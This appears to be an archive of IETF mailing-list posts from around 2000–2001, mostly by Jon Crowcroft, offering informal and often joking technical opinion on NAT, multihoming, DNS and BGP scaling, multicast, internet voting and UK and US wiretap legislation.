In message [EMAIL PROTECTED], Jon Crowcroft typed: if multihoming is killing routing coz default free zone routers have too many entries and NAT is killing users coz they can't get always on addresses why not have multihomed sites (aren't they usually server/core provider sites) LEASE their standby link address prefixes to access provider sites - and swap the address prefixes when their default link fails and they need to failover to the standby link/addresses... symmetry dictates this ought to work out...and everyone wins by setting uo as a market we could even make the incentives right... i wasn't too clear about this (a bit like my lousy 1000 bit error in the port nat message - that'll teach me to send emails before i've had any coffee:-) so after suitable basting by sean doran, here's the scoop:- I like GSE; however we dont have v6 and we do have NATs; we also have multihoming. 1/ consider global DHCP as a tool, and a mechanism for buying a lease on an aggregate 2/ do NATting on aggregates 3/ design a BGP attribute (yech, i know) to inidcate that an address range is "bank switchable" - this means that it is part of a lease from one AS to another. This means that when told (via management, BGP update, or designated "important" ingress or egress link failure), a pair of domains then bank switch the address range, but enable NATing on the range for exsting flows... got it? j.
Re: Number of Firewall/NAT Users
o'dell's GSE draft addressed renumbering perfectly. In message 5.0.2.1.2.20010123015631.02bbba30@localhost, "David R. Conrad" typ ed: Kyle, At 03:53 AM 1/23/2001 -0500, Kyle Lussier wrote: It is a horried idea to start setting up NATs on cell phones, Hmm. We should probably tell that to the existing 17+ million users of i-Mode in Japan. Better hurry as i-Mode is moving into Europe. (I liked the ip addressible coffee machine I saw that you could telnet into). Do you really want to put and configure a NAT in your coffee maker? I would imagine that you'd have a household gateway/NAT, not a NAT on every device in your household (and I'd argue if you have to configure anything network related on your coffee maker other than perhaps its name, something is seriously wrong). As the pain of limited IP address space tightens we'll move more and more to IPv6 and it'll level itself out. IPv6 is not a magic wand. Because v6 uses provider based addressing, non-transit providers will still need to renumber in v6 as they do in v4. Renumbering can be expensive. NATs are seen by many enterprises as a way of removing the need to renumber should they change providers. Until the issue of renumbering is addressed, NATs will not go away. Rgds, -drc cheers jon
Re: Number of Firewall/NAT Users
In message [EMAIL PROTECTED], Keith Moore typed: The IETF has done it's job with 6to4, but like you said we can't force people to deploy it. But let's stop and think about 6to4. Aren't some of the same "tricks" or ALG's that are planned to make applications work with IPv4 NAT, applicable to 6to4? If so, then we must find solutions now since 6to4 could be with us for many years. Given that the whole point of 6to4 is to allow IPv6 packets to be passed end-to-end without modification, I don't see how ALGs apply at all. NAT-PT of course has similar issues to v4 NAT, but NAT-PT and 6to4 are different things. Keith 2 ways forward are 1/ what you propose - provide clean, alternate complete solutions for today's ISPs - 6to4 is only part of a big system deployment- it would be nice to come up with smaller stageing posts along the waysomething i've wondered about: NAT is predicated at least partly on the observation that a lot of internet users don't appear to need to be "always on" (i.e. like temporal locality (not spatial locality) of telephone nets, there's a distribution of use and it means that we can get away with far less address allocated than users. I would suggest that if an ISP asks for address space based on a number of users but then uses NATs they are misrepresenting the number of users and should be given less address space:-) (i think this is doubly fair since they make less use of addreses, AND less applications are able to run to and from their users) 2/ make a clear business for ISPs to offer NAT free access as a competetive advantage 3/ here's a silly idea - take some of the address space and make it client only. (i.e declare half the remaining address space to be assymetric - truth in advertising... since there's then no servers, you can use port expanders on the low 1024 bits of the tcp or udp port to get more addresses(yes, port nats, but as part of the official address allocation plan...) cheers jon
Re: internet voting -- ICANN, SmartInitiatives, etc.
the bggest problems with security ssytems are generally 90% to do with design errors at level 10 (human, not policitcal, economic, application, transport etc) it would be interestign to run a _real_ experiment in 3 types of voting (comuter based, networked computer based and traiditional) and see if the results came out the same - it should persist for several decades before one could believe that any adaption in the democratic process hd factored in human behavioural bias imho In message [EMAIL PROTECTED], Ed Gerck typed: Kai Henningsen wrote: [EMAIL PROTECTED] (Ed Gerck) wrote on 12.01.01 in [EMAIL PROTECTED]: No. Digital signatures such as X.509/PKIX do violate voter privacy, but never ballot secrecy. In all fairness to you, maybe there is a confusion with the word "privacy". In this case, maybe you write "secrecy" above but you mean "privacy". BIG DIFFERENCE, though. Indeed. The way you have it defined, both are one half of what must be achieved (impossible to identify voters, and impossible to identify votes), with both halves completely meaningless in isolation (which is why a traditional paper vote does achieve the combination, but neither half in isolation). Whereas the way most people define this, the two terms are two names for the same thing, which is the whole (it must be impossible to determine who voted what). The correlation is the problem, not the isolated facts. There is more obfuscation like that in your "16 requirements". Not what I'd consider a recommendation. Unless we define and isolate the concepts used, it is nearly impossible to meaningfully deal with them. This is basic scientific method. Thus, making a clear distinction between "secrecy" and "privacy", as well as between "identification" and "authentication" and "non-repudiation" is at the heart of the matter here. Doing otherwise is obfuscation -- "to make obscure." Safevote's open attack test described at www.safevote.com/tech.htm showed that the following attacks were 100% forestalled during the entire test for 24 hours a day in 5 days: (1) Denial-of-Service; (2) Large Packet Ping; (3) Buffer Overrun; (4) TCP SYN Flood; (5) IP Spoofing; (6) TCP Sequence Number; (7) IP Fragmentation; (8) Network Penetration; and other network-based attacks. Grand. It withstood network level attacks. That's about the most meaningless test possible - all it proves is the quality of the TCP stack, it tells absolutely bloody nothing about the voting system itself. Forestalling Denial-of-Service attacks was unheard of and called "impossible" in Internet voting until we showed how it could be done in one specific network configuration useful for elections in precincts. There are other configurations where it can be done as well, as we shall show in the future. This was one Holy Grail in Internet elections, and we got it. The same applies to other 7 attack types mentioned -- so this was no easy feat for 5 days, 24 hours/day attacks, with full disclosure and a help line. Conclusion of the test: "Internet" does not mean "insecurity". Just because it uses the Internet it does not mean it MUST be insecure. Contrary to lore, Internet communications can be made arbitrarily safe and reliable (Shannon) if you take into account all the systems connected to it. The first step is to recognize that any communication channel has a boundary, which is quite arbitrary. By properly recognizing the sub-communication channels inside a boundary and by properly placing such boundaries, the point I make is that it is possible to have the communication system (roughly): registration -- voter -- ballot box -- tally -- report as error-free, anonymous and secret as anyone else may wish (Shannon). Here, the systems connected to an Internet-base channel are not ignored. They are taken into account and with adequate error-correction channel(s) (Shannon). Again, this is a lot easier in the praxis for precinct-based Internet voting. Which is all we are talking about at this time. Home/office-based Internet voting is IMO too political to be meaningfully discussed at this time. Even though we do have the technological answer for remote voting as well, we would lose too much time in discussing it now. Rather, we prefer to focus on precinct-based solutions, at a fraction of the price of DREs (electronic voting) and with better assurances. Cheers, Ed Gerck cheers jon
Re: IP course project
In message [EMAIL PROTECTED], Vijay Ramachandran Iyer typed: I am a Masters' student at NCSU in Computer Networking. Recently registered at the ietf.org site. I am toying with the idea for a project in VoIP or Mobile IP for my IP class. What are the relevant RFC's should I be looking for? an ericsson or nokia gsm phone works quite well for mobile vice in most the world apart from major some US cities:-) IP is not required. Also, experienced professionals, could you please let me know the kind of equipment needed to work in these areas? if you insit on running 2 time worse than toll quality speach, then i sponse the front runner for IP voce in products (that have cross "platofmr" support) is an H.263 and netmeeting type product look for rfcs with the word "experimental" we tried...the business case for real time is not good in networks that make money out of being shared when there are already realtime networksd (for tv, raio and telephony) out there otherwise there is a new book by fred halsall on intenet multimedia which i thoguht was very good... Vijay Iyer Teaching Assistant CSC Department NCSU Raleigh *** You should become what you want to see -- Mahatma Gandhi *** cheers jon
Re: Eliminating Virus Spam
In message [EMAIL PROTECTED], Francis D upont typed: Vernon, I fully agree with you: there is no reason to get multipart messages in technical discussion mailing lists. Even if your solution seems drastic this is the way we should go. i'd prefer to see us develop a more 21st century solution first, we should register mime types that we DO allow on a list second, if someone must send an executable attachment , then we have a signing server that signs the attachment as trustworthy - most of the stupid atachments come from places who wouldnt be part of my trust chain. cheers jon
Re: Technical Internet Advancements for White House Internet Strategies
some of the folks on this list aren't american or US citezens and might think that this is a bit presumptious.but here goes:- the first thing the white house should do is educate its customers and organise voting properly the next thing it should do is apply for membership of the European Union following that, the use of other languages might be a considerably benefit - e.g. spanish, chinese and hopi spring to mind finally, what fee is being paid for this, and in what (stable) currency, and under which tax treaty? :-) In message [EMAIL PROTECTED], Steven Clift typed : I am looking for a few leading Internet technical experts to contribute their ideas for an online conference on the *use* of the Internet by the next White House. What advancing Internet standards and tools should be considered? What would you do if you were in charge? What could the White House do to filter and respond to the millions of e-mails it receives in a more effective manner? How might syndication and XML strategies be employed? If you'd like to contribute a short essay to the event as described below, please drop me a note [EMAIL PROTECTED] with your suggested topic area. - Steven Clift - Democracies Online - White House 2001 Online Conference Envisioning the Next White House Web Site - Opens with 100 Participants An online event through January 18, 2001 to generate ideas and exchange information on the next White House web site. What should the next White House Web site do? What should it look like? How should the White House use online communications strategically to connect with citizens and govern? How this facilitated and moderated online exchange will work: 1. Idea Bullets - Each participant is encouraged to share one short idea for the next White House web site. 2. Strategic Essays - Internet leaders and netizens are asked to contribute short 400-500 word essays covering a specific Internet *use* strategy the White House should consider. Big ideas and solid advice wanted! These essays should be submitted to the online event facilitator, Steven Clift [EMAIL PROTECTED] for review. 3. General Comments - All participants are encouraged to comment and add to the ideas sent to the forum. All posts will be moderated with a general limit of one or two posts per day per person. To keep message volume in check, some messages may be held one or two days. To JOIN the online conference, simply send an e-mail to: [EMAIL PROTECTED] To messages via the web or choose digest options visit: http://www.egroups.com/group/do-whitehouse To join the 1600 member Democracies Online Newswire moderated announcement e-mail list, get the full details at: http://www.e-democracy.org/do This is a strictly unofficial activity. Content from the online event will be made available to White House officials and the public. Hosted by Steven Clift http://publicus.net with the Democracies Online Newswire http://e-democracy.org/do. If your organization would like to Co-Sponsor this event, all you need to do is bring 20 verified participants to the forum or send information about the forum to at least 1000 people on an e-mail list run by your organization. Contact [EMAIL PROTECTED] to co-sponsor this event. cheers jon
Re: NATs *ARE* evil^H^H^H^Hmpls!
one of nature's great dualities: statedulness will take root in the most barren soil, even though datagrams will try to route around it j though if nat speak unto nat, then ipv6 be born
Re: NATs *ARE* evil!
I understand that there are pressures to do multihoming, but I just don't see how NAT (i.e. address sharing) is having much effect one way or the other on the intensity of the pressure to do multi-homing. NATs allow users to be irresponsible about the addressing since they dont require you to multihome hosts, but dynamically pick which way to enter and leave your domain - this means people can be stupid and run multihomed. for example. incentives are important wen resources are scarce y'know:-) anyhow, i think the old 8+8 v6 scheme would have sorted this out just dandilyand i dont understand the vitriol people our on it - antyhing else (liek yo usuggest coordinaging the addresses allocated to NATs on the outside so they aggregate ) is the SAME thing. involves the same requirements for a protocol to coordinate it nats for securtyy thru obscrurity are about as relavent to real security failures and risk and loss of face and revenue as postits on your keyboard saying do not touch...the most common failure we get is via applicatio nlevel messes (e.g. mail attachements) and user education is the only way to solve those. but of course, with pip cheers jon
Re: NATs *ARE* evil!
Sean, there were several interesting talks in the ietf plenary last night and i'd also like to respond 1/ randy's "woah, the DNS is bust" talk solution - put your named boot file on your web server and set up robots.txt right get the 15 or so most popular search engines to start pulling it add an option to name resolution libraries to use http and google/altavista/bla blah to lookup name/address bindings (i.e. replace lookup with search and update with web crawl - you can also make your dns update hapen faster by articficially hyping the searches - yo ucan even include advertisements in the responses) positive points i) there are too many levels in the DNS server hierartchy - the name hierarchy is important, but there is no reaso nto have multiple levels in the server hierarchy - once upoj a time it was needed for some scaling (localisation) of traffic - dns traffic is irrelvant compared with web, so there's no problem doing it with 2 levels local/global - also, the caching isnt working (as per randy and christian huitema's work) anyhow so the localisdtion effects merely add latency to lookups i nthe current system ii) there's lots of differt code for differ nt search enginees this means we have a decent gene pool size compared with the DNS server space where there's a good chance that like BGP, we are dead in the water come the first new disease that we have no immunity too... 2/ NATs - i thought the comment was that there are too may ways of architecting NATs which made it expensivce to buy one coz most the NAT box builders are busy implementing all the varireities which makes them complex instead of simple - two solutions i) no ietf standards effort should continue after we have 3 approaches to a problem - given NAT, IP tunnels and mpls have about 7, 14 and 143 different approaches, this is evidentially a good heuristic for pruning pointless ietf wgs - of course those mpls watchers amongst us may have noticed that this is happening there (note this doesn't invalidate my approach to fixing name serving about since that is a single architecture buyt with lots of differnt detaield implemtnation approaches) 3/ internationalisation - its clear that we are making great progress - the gentleman from the ITU made it clear in his speaking that are much better at understanding christian huitema which is a great breakthrough... 4/ those of you who saw geoff huston's excellent "the bgp is hosed" talk at the routing area meeting, and its excerpted comments in the plenary should be very afraid - i did a search on a citation database on routing research - not to see what work has been done recently on ways to solve inter-domain scaling, convergence and correctness problems (though craig labovitz work is distinguised there by both its quality, and its loneliness!), but also to see if there was any indication that there was research in universities and research labs that was runnign at a level that might indicate clueful people coming out of their grad schools ready to solve our problems - there isnt. the research funding agents should be blamed for this:-) (note that i am not talking about graph theoertizcians - more the mit/berkeley/usc type research work that is done in a real world context) note that a major problem with the little wortk that is done is that its not often done in realistic topologies - this is a problem with ISPs who wont let people get at the data (or the traffic traces) so with a few honourable exceptions, most the smart people trying to do new stuff go on to other areas where there aren;t intractable barriers to doig the experimental verficaition of the idea (e.g. transport:-) cheers jon p.s. pierro de la francesca or vermeer make better gurus, but if you want to read about routing and addressing and what we ccould have done for ipng, i like paul francis' phd work: (linked from http://www.cs.ucl.ac.uk/staff/jon/paststudents.html so you can see my bias:-) it elegantly included some ideas from nimrod, but had some pragmatic implementation decisions whioch made it fast and simple and flexible - it emerged as pip, but was about 95% pruned out in the final v6 decisions...
Re: NATs *ARE* evil!
i can just see it when the aliens land and ask how to connect to our infrastructure, we'll have to say oh we used to have an internet, but it lost something in the translation j.
Re: 49th-IETF conf room planning
its appropriate that the 51st ietf is gonna be in the '51st state" - we've been playing with market forces for 23 years (18 years of margaret thatcher then john major, then tony blair) - solutons in london will involve vickrey auctions for the seats - themoney will be used to pay for upgrading the railway track from heathrow airport to the ietf venue tp make sure people dont miss more than a day of the fest cheers jon p.s. congrats to bush - i am glad to see that the law of succession is being restored in the US after many ears ofrejection of uk rule
Re: How many cooks?
At least the drafts coming into the IETF don't show the same behavior as scientific papers, which is that title length directly correlates with the number of authors. perhaps we shpould encourage i-ds (and rfcs) to have authors from as many countries as possible so that they can be simultaneously translated into as many local languages as possible (and zip coded for the hard of thinking:-) cheers jon
Re: More on bake-offs and trademarks
In message [EMAIL PROTECTED], Henning Schulzrinne typed: "Just because you're paranoid doesn't mean they are not after you... " Apparently, Pillsbury is on a bigger crusade, as the editorial change at http://cacheoff.ircache.net/ is indeed due to lawyer pressure, based on reports from the owners of the site. an earliesh ref is below. if (as i assume) they are referrng to 19th century pie competitions between people at county fairs, i think they have a problem coz that means its a word in common use and not a trademark cheers jon - 11-Feb-88 18:46:52-PST,1331;M Received: from UDEL.EDU by SRI-NIC.ARPA with TCP; Thu 11 Feb 88 18:40:35-PSTM Received: from huey.udel.edu by Louie.UDEL.EDU id aa04152; 11 Feb 88 21:35 ESTM Date: Thu, 11 Feb 88 21:33:49 ESTM From: [EMAIL PROTECTED] To: Hal Peterson [EMAIL PROTECTED]M cc: [EMAIL PROTECTED], [EMAIL PROTECTED], M [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED] Subject: Re: Life in the Swamps / TestingM Message-ID: [EMAIL PROTECTED]M M Hal,M M Once upon a time Vint Cerf was keeper of the alligators and even Bob BradenM collected a few. I've got a backyard full of the critters myself. However,M the point of my remark was that we don't need to invent bizarre test suites,M just how well it works in the current environment. What may be more usefulM for you would be to find out what the current environment really is (lossM rates, mangle angles, quench characteristiccs, etc., then build a flakewayM (broken network simulator) with similar characteristics and do war with it.M That's in fact how we did the initial IP testing (with credit to Bob Braden)M in the bakeoffs of antiquity.M M I'll rephrase my homily: We have met the enemy and he is us. Now you mayM understand my preocupation with swamps. Pass the stogies, Albert.M M DaveM
Re: Usable Video from Meetings (was Re: Suggestion)
In message [EMAIL PROTECTED], Harald Alvestrand typ ed: MBONE tunnels to connect, and a widely available (Linux?) client that would connect to that server, and behave like a multicast router? "start this program on a spare PC, and you too can watch the IETF multicast". we have reflectors - what we don't have is what we talked about ever since 1989, which is remote control of a reflectorcu-seeme has some stuff, but we never generalized it actually , the reason for not allowing auto-setup of a reflector is the EXACT same reason ISPs dont allow IGMP at the edge is you get to get unexpected traffic patterns on your net - normally, a sender can only send at the rate their access link providers to someone who can receive at simial rate (basically TCP...) a multicast can send at a rate 1 receiver can handle, but other receivers joing the multicast can cause traffic to clobber downstream links so we've been working for ages to try to devise i) adaptive audio/video schemes in avt ii) tools that tell receivers that they might as well leave a session in the mmusic wg (e.g. RTP monitoring ) iii) rmt wg protocols that do TCP like congestion control (e.g. rlc and pgmcc schemes) etc etc and more flexible models for multicast access (igmpv3) and routing (ssm etc) to permit ISPs to manage traffic in as similar ways as they are used to for unicast as possible... reflectors don't sidestep any of these problems - like NATs and other intermediaries, appplication level stuff merely introduces another layer to manage - soem reflectors do transcode data - these seem useful - some folks have designed application level multicast boxes that also do things like access control, content and delivery based billing, and also use IP multicast where available - all reasonable, of course, and all part of the Content Distribution Net evolution I've been frustrated by the need to modify core routers to support multicast properly, and the resulting reluctance of the ISPs to deploy it. Perhaps it's time to interpret this as damage, and route around it? most core/tier-1 ISPs have multicast within the core...they just don't have general access to it yet..the reasons are partly given above its gonna change slowly... actually, a servlet thing for a webcast/multicast/proxy (e.g. on apache) would be v. coolmaybe we could even support gatewaysing to netmeeting:-) cheers jon
Re: Suggestion
In message [EMAIL PROTECTED], Telecom Regulato ry Commission of Sri Lanka typed: Why cannot IETF arrange Netmeeting sessions. So that all new techniques such as Video, Audio, White board, Chat etc. can be used to exchange the valuable knowledge members posses. we do - we not only have put ietf WGs email in the public and archives on the net and all docs on the web, but IETF meetings have some of the main WGs live multicast out on the net we don't use netmeeetign per se, coz its a specific technology, and prefer to use somethign where the toolset is multiplatform and widely avaialble - its done somewhat on a volunteer basis, so depends also on what the volunteers are interested in and expert at it would be nice to a) expand this b) offer other formats (webcasting and netmeeting gateways)... its up to you (i.e. anyone) to offer to do it as far as I am aware! cheers jon
Re: An Internet Draft as reference material
anyone with a worthy i-d which is not gonna make it as an RFC could do worse than consider submiting it to INETa lot of the papers there are in that line and would then count as prior art, be archival, and citable. possible source of pressure/problem: interestingly enough, in tenure, most universities in the US to my knowledge (on checking recently) don't admit of RFCs at all as part of the publiations list in a CV...this may be good in some senses, as it stops researchers trying to use the IETF as a place to get visibility for tenures sake alone (but shouldnt put them off if they have geneuine working code and think they;ll get consensus roughly:-) escape valve:: so if i have a recommendation for folsk with well worked out i-ds, its "find a good workshop - e.g. ieee sponsored, but also isoc or acm or other and send it there" - alternatives too are some of the magazines and newsletters e.g. IEEE Network (publishes the most cited work on RSVP for example) and ACM CCR (publishes a lot of inciteful work on protocol implementation and experience...) j.
Re: An Internet Draft as reference material
In message [EMAIL PROTECTED], Magnus Danielson typed: For most of the time it is just plain stupid, however, there are material wich is published in ID form but later down the line is being dropped but still form the fundament for design decissions made in IDs making it all the way to RFC. very good point - one of the marvellus thing about the older RFCs is that they typically DO still inlude the discussio nthat led to the design choices expressed - in recent years, we have tended to move more towards the ieee/itu/iso in anonymising work, and in removing discussion of the alternates and reasons for not using them from final versions of RFCs...this is a big mistake. Now, if you are going to write a book and want to discuss this backdrop and give a fuller picture then you will have to refer to these IDs. This is really a problem which the IETF has aswell, since this material is not available it is not as easy for a newcommer to get the full picture as those involved in the process has. For instance IPv6 has this problem. When you are in the process, you should feel that it is the Right Thing to drop this old material, but the question is if it is really the Right Thing in the long run. Some of these IDs should really be considered as being published as Informational RFCs for the purpose of giving the background material. agree completely I'm not sure of the next case. Any body observed this? 3. An RFC refers to an Internet Draft. Never (except as "work in progress", as noted above - and then the draft is not mentioned by filename). This is a case where having this old background material could be valuble to have. Note, certainly will not all IDs be of interest, but some of them do represent knowledge which should be considered worthy of keeping. IMHO this is a problem, but it is not apparent for everyone being "in" the process, but some is aware of this... of course, just coz a book is printed doesnt mean it can't be obsoleted too (c.f. the old testament :-) arggg, no.i mean 2nd editions can fix typos in earlier ones is all, not darwin versus creation cheers jon
Re: Quality task force on web sites
In message [EMAIL PROTECTED], [EMAIL PROTECTED] t yped: Quality of Service or Content?? Easy answer:Quality of Service. well, the first thing you need before quality of service is e-quality of service (TM) i.e. you need a definition of fairness (max min, or proportional) then you need _quantity of service_ then you can apply the work below to map from subjective requirements to objective ones, and still deal with the financial aspects in a transparent manner...(as well as doing some fancy marketing) there was aVERY good tutorial on this at SIGCOMM this year... Quality of Content should be left to 'the Law of Natural Selection' and the First Amendment Rights of the US Constitution (Freedom of Speech), which is the least expensive and the long term good solution. On Wed, 06 September 2000, Jon Crowcroft wrote: In message [EMAIL PROTECTED], Maha devan Iyer typed: On Tue, 5 Sep 2000, Barathy, RamaSubramaniam wrote: Hello Everybody, Would it not be nice to have some sort of quality control task force that assigns a quality level for the web sites through out the world. This would make the site developers to bring in the higher quality to the net. This could be used as an additional criteria in the search engines. This could make higher quality sites to be a revenue generator. With more and more web sites, we r getting lost in finding quality information. What quality of a web site are you referring to? Quality of service or Quality of Content? The latter is subjective. so is the former. see G. M. Wilson and M. A. Sasse (forthcoming): Investigating the Impact of Audio Degradations on Users: Subjective vs. Objective Assessment Methods. To be presented as a full paper at OZCHI'2000, Sydney, Dec. 2000. A. Watson M. A. Sasse (forthcoming): The Good, the Bad, and the Muffled: The Impact of Different Degradations on Internet Speech. To be presented as a full paper at ACM Multimedia, Los Angeles, Oct. 30- Nov. 3. G. Wilson M. A. Sasse (forthcoming): Do Users Always Know What's Good For Them? Utilising Physiological Responses to Assess Media Quality. To be presented as a full paper at HCI 2000, September 5th - 8th, Sunderland, UK. Proceedings published by Springer. A. Bouch, M. A. Sasse H. DeMeer (2000): Of Packets and People: A User-Centred Approach to Quality of Service. Proceedings of IWQoS 2000, Pittsburgh, PA, June 5-8, pp. 189-197. A. Bouch and M. A. Sasse (2000): The case for predictable media quality in networked multimedia applications. Proceedings of the ACM/SPIE Multimedia Computing and Networking (MMCN'00), 25-27th January 2000, San Jose, USA. etc etc etc cheers jon cheers jon
Re: Quality task force on web sites
In message [EMAIL PROTECTED], Maha devan Iyer typed: On Tue, 5 Sep 2000, Barathy, RamaSubramaniam wrote: Hello Everybody, Would it not be nice to have some sort of quality control task force that assigns a quality level for the web sites through out the world. This would make the site developers to bring in the higher quality to the net. This could be used as an additional criteria in the search engines. This could make higher quality sites to be a revenue generator. With more and more web sites, we r getting lost in finding quality information. What quality of a web site are you referring to? Quality of service or Quality of Content? The latter is subjective. so is the former. see G. M. Wilson and M. A. Sasse (forthcoming): Investigating the Impact of Audio Degradations on Users: Subjective vs. Objective Assessment Methods. To be presented as a full paper at OZCHI'2000, Sydney, Dec. 2000. A. Watson M. A. Sasse (forthcoming): The Good, the Bad, and the Muffled: The Impact of Different Degradations on Internet Speech. To be presented as a full paper at ACM Multimedia, Los Angeles, Oct. 30- Nov. 3. G. Wilson M. A. Sasse (forthcoming): Do Users Always Know What's Good For Them? Utilising Physiological Responses to Assess Media Quality. To be presented as a full paper at HCI 2000, September 5th - 8th, Sunderland, UK. Proceedings published by Springer. A. Bouch, M. A. Sasse H. DeMeer (2000): Of Packets and People: A User-Centred Approach to Quality of Service. Proceedings of IWQoS 2000, Pittsburgh, PA, June 5-8, pp. 189-197. A. Bouch and M. A. Sasse (2000): The case for predictable media quality in networked multimedia applications. Proceedings of the ACM/SPIE Multimedia Computing and Networking (MMCN'00), 25-27th January 2000, San Jose, USA. etc etc etc cheers jon
Re: Heard at the IETF
o course, if we were to internationalise the elevator ights, we';d have to syubtract 1 (as we count from zero, not 1) and then they'd all be even numbersunless of course one of them was the one even prime... In message [EMAIL PROTECTED], "Dawson, Peter D" typed: oh... did the other members on the elevator dispute the prime number sequence ..I.E as the elevator descended or ascended ?? if so.. then they were part of the ietf convention else they were a bunch of normal geeks --Original Message- -From: Dennis Glatting [mailto:[EMAIL PROTECTED]] -Sent: Wednesday, August 02, 2000 11:57 AM -To: [EMAIL PROTECTED] -Subject: Heard at the IETF - - - - -Based on an experience of mine last night. - - Q: How can you tell if you are at a convention - with a bunch of geeks? - A: When you are in a crowded elevator and - someone looks down at the panel of lit - buttons and says: look, they're all prime - numbers! - - - - cheers jon
Re: Email Privacy eating software
In message 008601bff09b$8b32e9b0$0a0a@contactdish, Anthony Atkielski type d: Well been British, we are to polite and would not like to make a fuss. :) Yeah, the ones who liked to make a fuss went off and started their own democracies centuries ago. So the British really don't mind having their privacy compromised, then? I hope Americans show a bit more concern, before it's too late. next summer's IETF meeting is tentatively scheduled for London, England http://www.ietf.org/meetings/0mtg-sites.txt if you turn up at customs with a laptop, you may be asked to show any and all files on it to the nice chaps there. if someone has sent you crypted email (say using your public key) you may be obliged to connect the lapto pto the public net and access your other key to decrypt the mail for the nice chaps in customs to priove that it is not to do with pornography or terrorism - whereeve yo uare from, you will have no recourse to say "no" or "this is commercial in confidence" or "my company will fire me if i let this go to anyone or send it over the net to decrypt at my home site etc etc" the wavelan in the meeting site may be subject to wiretap...etc etc the ietf community may wish to send a message by reconsidering having a meeting in the UKuntil the law here is made more rational. cheers jon
Re: Email Privacy eating software
In message 01dc01bfed78$0e7a55a0$0a0a@contactdish, Anthony Atkielski type d: I don't understand why the FBI feels that it needs to have a top-secret black box attached to the ISP's network. Why not just have the ISP provide a copy of all e-mail to or from the specified mailbox? wiretap is a weapon in the FBI's armoury in the US, YOU have the right to bear arms You should demand the constitutional right to wiretap the FBI and CIA and so on right now. that will fix things. j.
Re: Email Privacy eating software
In message [EMAIL PROTECTED], "Parkinson, Jonathan" typed: In the UK we have the same type of problem, this time from my Favorite Company MI5. I agree. i also think that there are important lessons for lawmakers in other countries, so it is a suitable subject for IETF discussion. 'The UK is leading the world when it comes to high-tech spying on its citizens' Please see http://news6.thdo.bbc.co.uk/hi/english/sci/tech/newsid_762000/762514.stm= yes, this is something that the UK should be ashamed of - there is very good documentary evidence that the government is ignoring technical advice on the costs ot the ISP community in terms of implementing this they wayu that the UK law was designed, or the risks to citizens, and the loss of revenue when content and application providers move their business to palecs which implement less stupid, expensive and ineffective ways to intercept criminal or terrorist communication - the home offices response to criticism was a masterpiece of political rubbish, and included specific items which were lies. examples include assertions about what other coutnries were doing in terms of techniocal implementations of both intercept, and who gets charged for the implementation cost. Lets face it, internet service providers will be forced to install = black boxes in their=20 data centres that connect directly to an MI5 monitoring centre in = London. Now that would=20 be nice to hack into. =20 when it happens, it will be a good day for demoracy. one trick to do is to put a bunch of fake data on the net whch causes them to either act on it, or have to randiomize whether they act or not (see cryptonomicon) so that real miscreants wont be able to tell they are listening (fairly standard stuff in fact) - turns out that there are several ways to put in place random traffic generators (which even more interestingly can also be part of billing systems) that run counter-intuitive, but make it very hard to do RIP but do allow one to retain privacy. More to the point, Who is going to fund this? 'thinking' Oh yes thats = why Petrol in the=20 UK has now passed the =A31.03 per litre barrier. 'http://www.rip-off.co.uk/fuel.htm'=20 :-) right - but in that case, we can take public transport or buy a bike - in the case of ecommerce, it can go elsewhere and the UK loses. note that a lot of the GRID users are talking about striping data over multiple paths (yes, and at 1.2Gbps per path) so the data copy costs of intercept are more than double the data transfer - in fact they would be just with normal dynamic routing the reason the UK bill is confused is that it was written by telephants - people who probably lost their jobs as the tradditonal phone business goes marginal and now advise shady organisations such as gchq - these folks understand that the Exchange in the PSTN is the natuaral point for billing and is therefore also quite a reasnable palce to do intercept what they dont get is that there is no natural point to do this in a packet net, least of all a datagram, end to end network, except at the end points. what annoys me is that the UK government has persistnytly caimed that ALL opponents of the bill oppose intercept, when in fact almost all the ones I've spoken to object to a STUPID pointless waste of money, not to intercept at feasiable (E.g. end systems - such as email servers, web, web cachce/proxy, napster server etc) points -Original Message----- From: Jon Crowcroft [mailto:[EMAIL PROTECTED]] Sent: Friday, July 14, 2000 12:03 PM To: Anthony Atkielski Cc: ietf Subject: Re: Email Privacy eating software In message 01dc01bfed78$0e7a55a0$0a0a@contactdish, Anthony = Atkielski type d: I don't understand why the FBI feels that it needs to have a = top-secret black box attached to the ISP's network. Why not just have the ISP provide a copy of all e-mail to or from the specified mailbox? wiretap is a weapon in the FBI's armoury in the US, YOU have the right to bear arms You should demand the constitutional right to wiretap the FBI and CIA = and so on right now. that will fix things. j. cheers jon
Re: draft-ietf-nat-protocol-complications-02.txt
Any comments on the content of the draft? I would go further - first to define by exclusion, secondly to define a new class of providers (according tro common uisage) so that discussion can proceed An ISP _hosts_ its own and customer's hosts. Hosts follow the hosts requirements RFC, at least. An ISP uses routers to interconnect its, its customers, and other to ISPs networks, Routers follow the router requirements RFC, at least. Service Organisations that don't allow a host or router that follows the above definition to excercise capabilities defined are what we now know as Content Service Providers, and must provide application level gateways, Application Service Providers, and offer portals or ALGs. In each case there may be good performance or security reasons for this mode of service, but there will usually be lack of flexibility or ease of introdution to new services, content and applications in general. personal comment Other classes of organisation may simply be providing a subset of internet services - I don't see a market or technical case for these and in fact would encourage regulatory bodies to see if these types of organisations are trying to achieve lock out or are engaged in other types of monopolistic or anti-competitive behaviour. :-) cheers j.
Re: Is WAP mobile Internet??
Jon, I wonder how WAP will fit into Multicast apps - even if its single line txt based msg's app ? football scores/(tennis etc) share price (look at stockbroker trading terminal - they have very small amount of realestate for the given instrument) many many things would work v. well - iff you had full ip capability... i guess you'd need an rtp mixer capability in the net for packet ip multiast as mixing at the receiver might stress the limited capacity...although as next generation rolls out, this might change too then ip voice conferencing using multicast (which kind of maps well onto real shared capacity channels anyhow) would be quite cute... a lot of sip stuff would be v. cute too (a lot of fancy call handling scripting things would be dead useful to be able to download onto the phone.)... cheers jon
Re: WAP - What A Problem...
